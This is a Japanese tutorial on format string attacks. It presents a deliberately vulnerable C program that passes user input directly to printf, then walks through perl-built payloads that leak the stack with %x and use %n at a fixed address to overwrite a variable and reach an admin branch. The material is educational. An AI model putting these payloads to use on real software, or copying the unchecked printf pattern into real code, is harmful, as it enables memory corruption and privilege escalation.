フォーマット文字列による攻撃
printf()関数の脆弱性を利用した攻撃手法です。とりあえず以下のコードを見てください。
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { //お客様の名前を表示---- char text[1000]; strcpy(text,argv[1]); printf(text); printf("\n"); //--------------------- static int mode=0x1111; //(現在はお客様モード) const int normal=0x1111; const int admin=0x9876; //mode変数の値によってどちらの画面に分岐するかを決定する(現在0x1111) if(mode==normal) printf("------お客様用画面にログインしました------\n\n"); else if(mode==admin) printf("------システム管理者用画面にログインしました---\n\n"); else printf("System Error\n"); }
「実行結果」
$ ./a.out RKX1209 RKX1209 ------お客様用画面にログインしました------ $ ./a.out Taro Taro ------お客様用画面にログインしました------
main関数への引数としてお客様の名前を与え、「お客様用画面にログインしました」と表示するだけのプログラムです。
このプログラムはソースコード中のmode変数の値を書き変えることによってどちらの画面にログインするかを分岐できるようにしています。
mode変数の値は静的に決定しているので当然ソースコードを変えないと変更することはできません。
つまりプログラムがコンパイルされてからではこのmode変数の値を変えることはできない... はずですが、この場合実は外部からこの変数の値を変更することができます。
ここで使用するのがprintf()関数の脆弱性です。printf()関数にポインタを直接引数として与えていると...
$ ./a.out $(perl -e 'print "AAAA"."%08x."x13') | grep '41414141' AAAAbfebe57a.0015b1c4.0015b1c4.000027d8.00005844.00000006.bfebd5f4.00000002.0015bd7c.0015cd7c.0015cd7c.000000f0.41414141.
AAAAという通常文字列が格納されているアドレスをgrepに流し込んで検索しました。printfも関数なので引数はスタックに積まれていきます。
これと「%n」を利用すれば変数を上書きできるかも... mode変数のアドレスは0x0804a024です。(gdbなどで調べると良いですが、自分はめんどいので&演算子で吐かせましたw)
ということは...
$ ./a.out $(perl -e 'print "\x24\xa0\x04\x08"."%x."x12 . "%n"') $�bfa3e5a7.15b1c4.15b1c4.27d8.5844.6.bfa3d604.2.15bd7c.15cd7c.15cd7c.f0.
はい。これでmode変数の値が書き換わります。 しかしこれだけではまだ足りません。こいつをadminモード、つまり0x9876に変更しなければなりません。(うわ めんどい...
理論値を計算すればちゃんとすぐに求まりますが、自分の場合はなぜかうまく行かなかったので微調整を繰り替えしました ←
ということで結果は
$ ./a.out $(perl -e 'print "\x24\xa0\x04\x08HOGE\x25\xa0\x04\x08"."%x"x11 ."%50x"."%n"."%34x"."%n"') $�HOGE%�bf9195a315b1c415b1c427d858446bf9185e4215bd7c15cd7c15cd7c f0 45474f48 ------システム管理者用画面にログインしました---
mode変数を0x9876に書き換えて見事にシステム管理者用画面にログインできました。
ちなみに途中の「HOGE」は%xへのダミー引数です。
結論: printf関数も使い方を誤ると大変なことになりますね... (ガクブル